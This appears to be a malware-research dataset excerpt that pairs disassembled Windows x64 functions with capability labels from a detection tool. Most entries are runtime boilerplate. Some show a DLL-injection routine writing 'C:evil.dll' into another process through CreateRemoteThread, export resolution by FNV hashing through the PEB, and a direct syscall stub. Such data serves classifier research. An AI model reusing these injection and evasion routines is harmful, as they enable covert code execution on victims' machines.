joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001cb0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002ad0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002ad0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001d20
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
test esi, esi
mov rbx, rcx
jle 0x140001e50
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001d6b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001df5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001d50
mov rcx, rbx
call fcn.140002770
test rax, rax
mov rdi, rax
je 0x140001e72
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400028b0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001e57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001dee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001e00
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x1400070a8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001dee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001cb0
nop dword [rax]
xor esi, esi
jmp 0x140001d78
mov rax, qword [0x1400070a8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.140001cb0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.140001cb0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400023e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000243c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002433
test rsi, rsi
je 0x140002433
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002418
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002770
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002790
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002798
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002790
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400027ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400027e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002790
add rax, 0x28
cmp rax, r9
jne 0x1400027d0
xor eax, eax
ret

Function at 0x1400027f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000280f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002818
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000280f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400028b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400028cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400028d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140002230
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009760]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002250
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002258
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002250
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x1400022a5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000229c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002250
add rax, 0x28
cmp rax, r9
jne 0x140002288
xor eax, eax
ret

Function at 0x1400022b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009760]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400022d0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022d8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022d0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009760]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002380
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002388
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140007bd0
Capabilities:
Get process image filename

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
mov rdi, rcx
lea rbp, [rsp + 0x38]
lea rbx, [rsp + 0x40]
mov qword [rsp + 0x38], 0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtGetNextProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov r12, qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rsi, rax
jmp 0x140007c4e
mov rcx, qword [rsp + 0x38]
mov rdx, rbx
mov r8d, 0x104
call sub.KERNEL32.dll_K32GetProcessImageFileNameA
mov rcx, rbx
call r13
mov rcx, rdi
mov rdx, rax
call r12
test eax, eax
je 0x140007c80
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
mov rcx, qword [rsp + 0x38]
mov edx, 0x2000000
call rsi
test eax, eax
je 0x140007c28
xor eax, eax
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x140007cf0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x40
mov rbx, rdx
call fcn.140001600
mov rcx, qword [rbx + 8]
call fcn.140007bd0
lea rdx, str.process_found_at_pid_
lea rcx, str._s_d_n
test eax, eax
mov r12d, eax
lea rax, str.process_not_found._pid_
cmovle rdx, rax
mov r8d, r12d
call fcn.140007ca0
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, r12d
xor edx, edx
mov ecx, 0x1fffff
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, rax
test rax, rax
je 0x140007dec
mov r8d, dword [0x140008100]
mov r9d, 0x3000
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [0x140008100]
lea r8, str.C:evil.dll
mov rcx, r12
mov qword [rsp + 0x20], 0
mov rbx, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, r12
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop r12
ret
lea rcx, str.OpenProcess_failed__exiting..._n
call fcn.140007ca0
mov eax, 0xfffffffe
jmp 0x140007de3
Function at 0x2fc4d3cc0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d46c2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f7108]
test eax, eax
je 0x2fc4d475a
lea rax, [0x2fc4f70e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f7110]
mov qword [rbp - 8], rax
jmp 0x2fc4d473e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d4732
cmp qword [rbp - 0x10], 0
je 0x2fc4d4732
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d46f8
lea rax, [0x2fc4f70e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d475b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d4860
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d4888
mov eax, 0
jmp 0x2fc4d48d6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d48b1
mov eax, 0
jmp 0x2fc4d48d6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d48d1
mov eax, 0
jmp 0x2fc4d48d6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d48dc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d495a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d4951
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d4951
mov rax, qword [rbp - 8]
jmp 0x2fc4d496f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d4924
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180002320
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
xor esi, esi
mov r8, rcx
test rcx, rcx
je 0x1800023cc
cmp qword [rcx], rsi
je 0x1800023b5
cmp word [rdx + 0x58], si
je 0x1800023cc
movzx r11d, word [rdx + 0x58]
lea r9d, [rsi + 1]
shr r11, 1
movabs r10, 0xcbf29ce484222325
mov rdi, qword [rdx + 0x60]
mov ebx, esi
je 0x18000239f
movzx eax, word [rdi + rbx*2]
movzx ecx, word [rdi + rbx*2]
sub ax, 0x41
add cx, 0x20
cmp ax, 0x19
cmova cx, word [rdi + rbx*2]
add rbx, r9
movzx eax, cx
movabs rcx, 0x100000001b3
imul r10, rcx
xor r10, rax
cmp rbx, r11
jb 0x18000236a
cmp r10, qword [r8]
jne 0x1800023cc
mov rax, qword [rdx + 0x30]
mov qword [r8 + 8], rax
mov eax, dword [rdx + 0x40]
mov qword [r8 + 0x10], rax
jmp 0x1800023cf
mov rax, qword [rdx + 0x30]
mov r9d, 1
mov qword [rcx + 8], rax
mov eax, dword [rdx + 0x40]
mov qword [rcx + 0x10], rax
jmp 0x1800023cf
mov r9b, sil
mov rbx, qword [rsp + 8]
mov al, r9b
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret

Function at 0x1800023e4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
movzx esi, r8w
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
je 0x180002474
xor r10d, r10d
lea r11d, [r10 + 1]
cmp byte [r9], r10b
je 0x18000241c
add r10, r11
cmp byte [r10 + r9], 0
jne 0x180002412
xor edi, edi
movabs r8, 0xcbf29ce484222325
test r10, r10
je 0x180002465
mov al, byte [rdi + r9]
mov dl, byte [rdi + r9]
add al, 0x20
movzx ecx, al
sub dl, 0x41
movzx eax, byte [rdi + r9]
cmp dl, 0x19
cmova ecx, eax
add rdi, r11
movsx rax, cl
movabs rcx, 0x100000001b3
imul r8, rcx
xor r8, rax
cmp rdi, r10
jb 0x18000242d
cmp r8, qword [rbx]
jne 0x180002474
mov qword [rbx + 0x10], rbp
mov word [rbx + 8], si
jmp 0x180002477
xor r11b, r11b
mov rbx, qword [rsp + 8]
mov al, r11b
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x1800165f8
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
jmp 0x1800168a8
test rcx, rcx
je 0x180016a2e
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea r11, [rcx - 0x10]
cmp dword [r11], 0x4d474943
je 0x180016972
int3
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x1800169e8
xor ecx, ecx
cmp dword [r10 + 0x18], ecx
jbe 0x1800169e8
mov esi, dword [r10 + 0x20]
lea rax, [rsi + rcx*4]
mov edi, ecx
mov r9d, dword [rax + r8]
mov ebx, 0x811c9dc5
add r9, r8
mov al, byte [r9]
inc r9
test al, al
je 0x1800169e0
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
mov al, byte [r9]
inc r9
test al, al
jne 0x1800169c3
cmp ebx, 0x7c76ecf5
je 0x1800169ed
inc ecx
cmp ecx, dword [r10 + 0x18]
jb 0x1800169a7
mov rdx, qword [rdx]
jmp 0x180016983
mov rax, qword gs:[0x30]
mov edx, dword [r10 + 0x24]
add rdx, r8
mov rcx, qword [rax + 0x60]
movzx r9d, word [rdx + rdi*2]
mov edx, dword [r10 + 0x1c]
mov rcx, qword [rcx + 0x30]
add rdx, r8
mov eax, dword [rdx + r9*4]
xor edx, edx
add rax, r8
mov r8, r11
call rax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1800166c4
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
mov ecx, 0x20
call fcn.180016a30
mov r11, rax
test rax, rax
je 0x180016798
mov qword [rax + 0x10], rbx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18001676c
xor ecx, ecx
cmp dword [r9 + 0x18], ecx
jbe 0x18001676c
mov r14d, dword [r9 + 0x20]
lea rax, [r14 + rcx*4]
mov esi, ecx
mov r10d, dword [rax + r8]
mov edi, 0x811c9dc5
add r10, r8
mov al, byte [r10]
inc r10
test al, al
je 0x180016764
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
mov al, byte [r10]
inc r10
test al, al
jne 0x180016747
cmp edi, 0xaa8c48ae
je 0x180016771
inc ecx
cmp ecx, dword [r9 + 0x18]
jb 0x18001672b
mov rdx, qword [rdx]
jmp 0x180016707
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rsi*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
mov rdx, r11
add rax, r8
lea rcx, [0x180018760]
call rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x1800167b0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
call fcn.180016600
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x180016839
xor ecx, ecx
cmp dword [r9 + 0x18], ecx
jbe 0x180016839
mov ebx, dword [r9 + 0x20]
lea rax, [rbx + rcx*4]
mov edi, ecx
mov r10d, dword [rax + r8]
mov r11d, 0x811c9dc5
add r10, r8
mov al, byte [r10]
inc r10
test al, al
je 0x180016831
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [r10]
inc r10
test al, al
jne 0x180016811
cmp r11d, 0x38ef582a
je 0x18001683e
inc ecx
cmp ecx, dword [r9 + 0x18]
jb 0x1800167f4
mov rdx, qword [rdx]
jmp 0x1800167d0
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdi*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
lea rcx, [0x180018760]
add rax, r8
call rax
lea rbx, [section..rdata]
lea rdi, [0x180017020]
jmp 0x18001687d
mov rax, qword [rbx]
test rax, rax
je 0x180016879
call rax
add rbx, 8
cmp rbx, rdi
jb 0x18001686f
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x1800168a8
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
jmp 0x1800168a8
test rcx, rcx
je 0x180016a2e
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea r11, [rcx - 0x10]
cmp dword [r11], 0x4d474943
je 0x180016972
int3
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x1800169e8
xor ecx, ecx
cmp dword [r10 + 0x18], ecx
jbe 0x1800169e8
mov esi, dword [r10 + 0x20]
lea rax, [rsi + rcx*4]
mov edi, ecx
mov r9d, dword [rax + r8]
mov ebx, 0x811c9dc5
add r9, r8
mov al, byte [r9]
inc r9
test al, al
je 0x1800169e0
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
mov al, byte [r9]
inc r9
test al, al
jne 0x1800169c3
cmp ebx, 0x7c76ecf5
je 0x1800169ed
inc ecx
cmp ecx, dword [r10 + 0x18]
jb 0x1800169a7
mov rdx, qword [rdx]
jmp 0x180016983
mov rax, qword gs:[0x30]
mov edx, dword [r10 + 0x24]
add rdx, r8
mov rcx, qword [rax + 0x60]
movzx r9d, word [rdx + rdi*2]
mov edx, dword [r10 + 0x1c]
mov rcx, qword [rcx + 0x30]
add rdx, r8
mov eax, dword [rdx + r9*4]
xor edx, edx
add rax, r8
mov r8, r11
call rax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180016a30
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rbx, rcx
mov rdx, qword [rax + 0x18]
mov r9, qword [rdx + 0x10]
mov r8, qword [r9 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x180016abd
xor edx, edx
cmp dword [r10 + 0x18], edx
jbe 0x180016abd
mov edi, dword [r10 + 0x20]
lea rax, [rdi + rdx*4]
mov r11d, 0x811c9dc5
mov ecx, dword [rax + r8]
add rcx, r8
mov al, byte [rcx]
inc rcx
test al, al
je 0x180016ab5
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x180016a96
cmp r11d, 0xb3f819f8
je 0x180016ac2
inc edx
cmp edx, dword [r10 + 0x18]
jb 0x180016a7c
mov r9, qword [r9]
jmp 0x180016a58
mov rax, qword gs:[0x30]
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov r9d, dword [rcx + rdx*4]
mov edx, 8
mov rcx, qword [rax + 0x60]
add r9, r8
lea r8, [rbx + 0x10]
mov rcx, qword [rcx + 0x30]
call r9
test rax, rax
je 0x180016b0b
mov dword [rax], 0x4d474943
mov qword [rax + 8], rbx
add rax, 0x10
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001ad0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rcx, eax
mov edx, ebx
test eax, eax
je 0x140001b0b
nop
movsx eax, byte [rdx + rdi]
inc rdx
add eax, ebx
imul ebx, eax, 0x101
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rdx, rcx
jne 0x140001af0
lea eax, [rbx + rbx*8]
mov rbx, qword [rsp + 0x30]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
add rsp, 0x20
pop rdi
ret

Function at 0x140001ba1
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [0x140046a10]
syscall
ret
Function at 0x140001594
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
mov dword [rbp - 0x14], 0
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9d, 0
mov r8d, 0
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0xffffffffffffffff
jne 0x140001620
mov rax, qword [rbp + 0x10]
mov rdx, rax
lea rax, str.Error_opening__s_r_n
mov rcx, rax
call fcn.140001540
mov eax, 0
jmp 0x1400016a0
cmp qword [rbp + 0x18], 0
je 0x140001642
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov rdx, qword [rbp + 0x18]
mov dword [rdx], eax
mov rax, qword [rbp + 0x18]
mov eax, dword [rax]
mov eax, eax
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x18]
mov ecx, dword [rax]
lea r8, [rbp - 0x14]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
add rsp, 0x60
pop rbp
ret

Function at 0x140001aa0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007810
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007810
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]